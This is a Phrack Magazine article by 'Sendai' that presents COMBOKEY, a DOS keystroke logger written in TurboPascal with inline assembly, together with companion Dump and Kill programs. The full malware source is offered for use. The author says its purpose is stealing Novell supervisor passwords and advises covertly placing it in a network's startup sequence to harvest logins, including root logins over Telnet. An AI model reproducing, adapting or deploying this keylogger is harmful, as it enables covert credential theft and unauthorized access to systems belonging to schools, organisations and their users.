                              ==Phrack Magazine==

                 Volume Seven, Issue Forty-Eight, File 12 of 18


                COMBOKEY and the Simplistic Art of PC Hacking
                                    -or-
                              KeyTrap Revisited

                                  by Sendai
                         (with apologies to Dcypher)

NOTE: Of course I take no responsibility when you use this and get
kicked out of school or something stupid.  Besides, why would you be so
stupid as to get caught in the first place? :-) So be careful, and have
fun.  Don't get stupid.

WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:
* At least a reading knowledge of TurboPascal and 8086 assembly
* A tolerable understanding of how the PC actually works or
* A copy of Queue's "MS-DOS Programmer's Reference"
* A copy of that yellow-spined "Indespensable PC Hardware Reference" book


ON WITH IT...
It was with a little dissatisfaction that I read Dcypher's KeyTrap
article the other day (so I'm back-logged a few issues, so sue me!)
I've been foolin' around with a version of this that I first wrote about
five years ago during high school, and well, I thought mine was a little
easier to understand.

So I'm gonna show you my version, actually explain how the damn thing
works, and hope somebody out there has their day brightened by using
this program.

Note that the only reason I wrote this thing was to record passwords on
a Novell net. It will record all keypresses, but it really has limited
use other than hacking.

Fun fact: With this program, it has taken me an average of about six
hours to snag supervisor on every Novell net I've nailed.  And I'm sure
you can do better. ;-)


PC KEYBOARD HANDLING 101
Okay, a quick review for those PC newbies out there.  When a key is
pressed on a PC, it generates an interrupt 9 (keyboard interrupt),
causing the machine to look up the address of the 9th Interrupt Service
Routine. The ISR is typically in ROM; the interrupt vector itself is
not.

A key recorder is a program that simply latches itself into the
interrupt 9 handler by replacing the old vector with its own address.
By doing this, every time a key is pressed, we know about it.


ENTER COMBOKEY (That'd be the key recorder)
I differ with my strategy from Dcypher in that I don't bother going
directly to the keybard hardware.  COMBOKEY just goes ahead and calls
the old ISR and then looks in the BIOS keyboard buffer to see what the
key was. Yeah, you don't get the funky-ass key combinations like
control-shift-right-alt-F2-Z, but hey, I'm just after the passwords.

When a new key is pressed, it's dumped in the buffer.  When the buffer
is full, nothing happens.  I'll leave writing it to a file as an
exercise to the reader.

My favorite feature, if I may say so myself, is the fact that COMBOKEY
has an API in it, sort of.  Interrupt 255 is also latched and provides
the "user" an interface to the presently running copy of COMBOKEY.  But
not just anyone can go poking into 255 to kill COMBOKEY or get a buffer
dump or whatever.  First, you gotta send a combination.

Look at the "const" section of COMBOKEY and you'll see a constant array
of four bytes.  Change these numbers to whatever the hell you want.  To
use the COMBOKEY interface you need to send each of these bytes
sequentially in AX to ISR 255.  Look at the "DoCombo" procedure in Dump
or Kill to see what I mean.

After you send the combo, you send one more byte that represents the
command.

Dump buffer:   AX=C0h    Dumps the buffer to a chunk of memory at ES:DI.
Get info:      AX=C2h    Sends a TinfoRec (see source) to ES:DI.
Kill:          AX=C1h    Deactivates the recorder.

There are two additional programs following: Dump and Kill.  These just
use the interface to do their appropriate actions.

THE PROPER ETIQUETTE OF COMBOKEY
There's a good deal of social engineering involved with using COMBOKEY.
Since it works on only the machine you put it on, you have to know where
to put it in the first place to be most effective.  (Or be really
resourceful and put it on every machine around.)

To maximize your amusement, get the supervisor password first, and then
put this program in the startup sequence of the network.  Then go nuts.

This program gets REALLY fun when your net is equipped with TCP/IP apps
like Telnet, and some moron has their home machine hooked up to the
Net, and they actually log into it  with root from your net.  Instant
party.

NEAT TRICKS TO TRY
If I ever get around to it, it'd be cool to use the IPX interface to
actually broadcast the keystrokes over to a waiting machine for instant
feedback.

The next trick to try is to maybe build a hardware version of this with
a little microcontroller.  A Motorola 68HC11 would do nicely.  This
would get rid of the pesky problem of reseting the machine or turning
the power off.

Ah well.  Comments and the like to jsrs@cyberspace.com.  Happy hunting.

-------------------------------------------------------------------------------
{ Source notes:
  This'll compile on TurboPascal 6 or better.  Might even work with 5.
  Why Turbo?  Cause it generates damn tight code, and it's much more readable
  for the newbies than all assembly. }

{ComboKey - It's a TSR, so we gotta do the mem setup. }
{$M 1024, 0, 2100}
program ComboKey;

uses Dos; { For Keep() }

const
     DUMP_BUFFER = $C0;
     KILL_RECORDER = $C1;
     GET_INFO = $C2;

     BUFSIZE = 2048;     { In bytes, NOT paragraphs! }
     DISPLAY_MAX = 100;
     combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );

type
     PBuf = ^TBuf;
     TBuf = Array[0..BUFSIZE-1] of Byte;
     PInfoRec = ^TInfoRec;
     TInfoRec = record
          buffer_size: Word;  { Word is 16 bit, unsigned }
          overwrite: Word;
          buffer_ptr: Word;
     end;

var
     old9o, old9s: Word; { Must be in this order! }
     wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
     q_top: Word absolute $40:$80;
     q_bot: Word absolute $40:$82;
     buffer: PBuf;
     buf_ptr: Word;
     overwrite_ctr: Word;
     last_wptr: Word;
     tumbler: Byte; { How many numbers in the combo right so far? }

procedure SetVector( int: Byte; s, o: Word);
     begin
          asm
               push ds
               cli
               mov  ah, 25h
               mov  al, int
               mov  ds, s
               mov  dx, o
               int  21h
               sti
               pop  ds
          end;
     end;

procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
     var
          offset: Word;
          c: Byte;
          l: Word;
          ctr: Word;
     begin
          { First call the old handler.  Do the pushf,  cause this is an
            interrupt handler. }
          asm
               pushf
               call dword ptr [old9o]   { Since old9s is next, it works }
               cli
          end;

          { This isn't a press, but a release - ignore it. }
          if last_wptr = wptr then Exit;

          last_wptr:=wptr;

          { Did the queue just wrap? }
          if (wptr = q_top) then offset:=q_bot-2
          else offset:=wptr-2;

          Inc(buf_ptr);
          if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
               buf_ptr:=0;
               Inc(overwrite_ctr);
          end;

          buffer^[buf_ptr]:=Mem[$40:offset];

          asm
               sti
          end;
     end;

{ Here's the interface system.  Don't bother saving the old $FF,
cause who uses it anyway?! }
procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
     var
          command: Word;
          res, rdi: Word;
          infoptr: PInfoRec;
          l: Word;
     begin
          command:=AX;
          res:=ES;
          rdi:=DI;

          if tumbler=4 then begin  { we have a winner... }
          tumbler:=0;
               asm
                    sti
               end;

               case command of
                    DUMP_BUFFER: begin
                         asm
                                   push ds
                              mov  cx, BUFSIZE
                              mov  es, [res]
                              mov  di, [rdi]
                              mov  ax, [WORD PTR buffer+2]
                              mov  ds, ax
                              mov  ax, [WORD PTR buffer]
                              mov  si, ax

                              cld
                              rep  movsb
                              pop  ds
                         end;
                    end;

                    KILL_RECORDER: begin
                         SetVector(9, old9s, old9o);
                    end;

                    GET_INFO: begin
                         asm
                              mov  es, [res]
                              mov  di, [rdi]
                              mov  ax, BUFSIZE
                              mov  es:[di], ax
                              mov  ax, [overwrite_ctr]
                              mov  es:[di+2], ax
                              mov  ax, [buf_ptr]
                              mov  es:[di+4], ax
                         end;
                    end;
               end;

               asm
                    cli
               end;
          end;

          if command=combo[tumbler] then Inc(tumbler)
          else tumbler:=0;
     end;

begin
     asm
          mov  ah, $35
          mov  al, 9
          int  $21

          mov  ax, es
          mov  old9s, ax
          mov  old9o, bx
     end;

     SetVector(9, Seg(NewInt09), Ofs(NewInt09));
     SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));

     buffer:=New(PBuf);
     buf_ptr:=0;
     overwrite_ctr:=0;
     last_wptr:=0;
     tumbler:=0;

     Keep(0);
end.



-------------------------------------------------------------------------------

{ Kills the keyrecorder }
program Kill;

const
     combo0 = 01;
     combo1 = 01;
     combo2 = 19;
     combo3 = 74;

     KILL_RECORDER = $C1;

procedure ResetCombo;
     var
     l: Word;
   begin
     for l:=1 to 4 do asm
          mov  ax, 0
         int   $ff
      end;
   end;

procedure DoCombo;
     begin
          asm
               mov  ax, combo0
               int  $ff
               mov  ax, combo1
               int  $ff
               mov  ax, combo2
               int  $ff
               mov  ax, combo3
               int  $ff
          end;
     end;

begin
     ResetCombo;
     DoCombo;
     asm
          mov  ax, KILL_RECORDER
          int  $ff
     end;
end.


-------------------------------------------------------------------------------

{ Syntax:
     DUMP DESTFILE.FIL

  This'll dump the buffer information and contents to the file.  If 
  no file is given, it goes to the screen. }

program Dump;

const
     combo0 = 01;
     combo1 = 01;
     combo2 = 19;
     combo3 = 74;

     DUMP_BUFFER = $C0;
     GET_INFO = $C2;

type
     PInfoRec = ^TInfoRec;
     TInfoRec = record
          buffer_size: Word;
          overwrite: Word;
          buffer_ptr: Word;
     end;

var
     info: TInfoRec;
     buffer: Array[0..8191] of Byte;
     l: Word;
     f: Text;

procedure ResetCombo;
     var
          l: Word;
     begin
          for l:=1 to 4 do asm
               mov  ax, 0
               int  $ff
          end;
     end;

procedure DoCombo;
     begin
          asm
               mov  ax, combo0
               int  $ff
               mov  ax, combo1
               int  $ff
               mov  ax, combo2
               int  $ff
               mov  ax, combo3
               int  $ff
          end;
     end;

begin
   Assign(f, ParamStr(1));
   Rewrite(f);

   ResetCombo;

     DoCombo;
     asm
          mov  ax, SEG info
          mov  es, ax
          mov  di, OFFSET info
          mov  ax, GET_INFO
          int  $ff
     end;

     writeln(f,'Buffer size: ',info.buffer_size);
     writeln(f,'Buffer ptr:  ',info.buffer_ptr);
     writeln(f,'Overwrite:   ',info.overwrite);

     DoCombo;
     asm
          mov  ax, SEG buffer
          mov  es, ax
          mov  di, OFFSET buffer
          mov  ax, DUMP_BUFFER
          int  $ff
     end;

     for l:=0 to info.buffer_ptr do begin
          write(f, Char(buffer[l]));
          if buffer[l] = 13 then write(f,#10);
     end;
     
     Close(f);
end.

